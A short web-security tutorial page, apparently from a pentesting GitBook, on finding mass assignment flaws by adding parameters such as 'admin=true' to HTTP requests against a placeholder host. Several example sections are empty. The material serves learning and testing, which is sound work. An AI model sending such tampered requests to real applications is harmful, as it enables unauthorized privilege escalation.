Web Mass Assignment

One of the ways that you can discover mass assignment vulnerabilities by finding interesting parameters in API documentation and then adding those parameters to requests. Look for parameters involved in user account properties, critical functions, and administrative actions.

  • Normal request

POST /editdata HTTP/1.1
Host: target.com
...

username=daffa

The response

HTTP/1.1 200 OK
...

{"status":"success","username":"daffainfo","isAdmin":"false"}
  • Modified Request

POST /editdata HTTP/1.1
Host: target.com
...

username=daffa&admin=true

Example 2

Example - PATCH Request

In addition, send a PATCH request with an invalid isAdmin parameter value:

If the application behaves differently, this may suggest that the invalid value impacts the query logic, but the valid value doesn't.

Example - nested object

Other example - Fuzzcompany name or ID

Guess Parameters

Burp - Param Miner

Ruby on Rails

Ruby on Rails is a web application framework that is vulnerable to this type of attack.

Source code:

username=new&password=test&confirmed=test

Resources

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Last updated